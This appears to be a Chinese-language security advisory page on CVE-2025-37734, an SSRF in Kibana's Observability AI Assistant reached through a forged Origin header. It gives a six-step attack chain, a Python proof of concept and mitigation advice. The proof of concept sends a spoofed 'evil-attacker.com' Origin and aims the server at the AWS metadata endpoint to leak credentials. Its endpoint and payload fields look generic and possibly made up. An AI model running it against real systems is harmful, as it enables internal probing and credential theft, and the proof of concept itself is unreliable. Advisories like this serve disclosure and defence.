IPBUF安全漏洞报告
English
CVE-2025-37734 CVSS 4.3 中危

CVE-2025-37734 Kibana Origin验证错误导致SSRF漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-37734
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Elastic Kibana

相关标签

CVE-2025-37734SSRFOrigin验证错误Elastic KibanaObservability AI Assistant服务器端请求伪造CVE-2025Elastic

漏洞概述

CVE-2025-37734是Elastic Kibana中的一个Origin验证错误漏洞,CVSS评分4.3,中危级别。该漏洞存在于Kibana的Observability AI Assistant功能中,攻击者可以通过伪造Origin HTTP头来绕过Origin验证机制,进而发起服务器端请求伪造(SSRF)攻击。漏洞由[email protected]于2025年11月12日披露。由于Kibana在处理来自Observability AI Assistant的请求时未正确验证Origin头,攻击者可以构造恶意请求让服务器向内部服务或外部恶意资源发起请求,可能导致敏感数据泄露或内网探测。该漏洞需要低权限用户即可利用,但无需用户交互。

技术细节

该漏洞属于Origin验证错误(Origin Validation Error)类型,攻击向量为服务器端请求伪造(SSRF)。在Kibana的Observability AI Assistant组件中,应用程序错误地信任了HTTP请求中的Origin头,而没有进行充分的验证。攻击者可以构造包含伪造Origin头的HTTP请求(如Origin: https://attacker-controlled-site.com),当Kibana处理该请求时,会将其视为来自可信源的请求,并可能向攻击者指定的目标地址发起内部请求。这种攻击可以探测内网服务、访问内部API端点或泄露敏感信息。由于Kibana通常部署在企业内部网络中,SSRF漏洞可能导致严重的安全风险。修复方案需要在服务器端实施严格的Origin验证机制,确保请求确实来自预期的来源。

攻击链分析

STEP 1
步骤1
攻击者获取目标Kibana实例的低权限用户账户或API令牌
STEP 2
步骤2
攻击者构造包含伪造Origin头的HTTP请求,指向Observability AI Assistant端点
STEP 3
步骤3
请求中包含SSRF目标地址(如内网IP、云元数据端点等)
STEP 4
步骤4
Kibana未正确验证Origin头,将请求视为合法请求处理
STEP 5
步骤5
Kibana服务器代表攻击者向目标地址发起请求,获取响应数据
STEP 6
步骤6
攻击者接收Kibana返回的响应,实现内网探测或敏感数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-37734 PoC - Kibana SSRF via Forged Origin Header # Target: Elastic Kibana with Observability AI Assistant target_url = "http://target-kibana:5601/api/observability_ai_assistant/*" headers = { "Origin": "https://evil-attacker.com", # Forged Origin header "Content-Type": "application/json", "kbn-xsrf": "true", # Kibana requires this header "Authorization": "Bearer <low-privilege-token>" # Low privilege user token } payload = { "action": "chat", "message": "Please check the internal service", "target_url": "http://169.254.169.254/latest/meta-data/" # AWS metadata endpoint } response = requests.post(target_url, json=payload, headers=headers, verify=False) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # If vulnerable, the server will make a request to the target_url # potentially leaking AWS credentials or internal service data

影响范围

Kibana 8.x < 8.19.7
Kibana 9.x < 9.1.7
Kibana 9.x < 9.2.1

防御指南

临时缓解措施
如果无法立即升级,可临时禁用Kibana的Observability AI Assistant功能,直到完成安全更新。同时应限制该功能的网络访问权限,并加强对相关API端点的监控,及时发现异常的Origin头请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表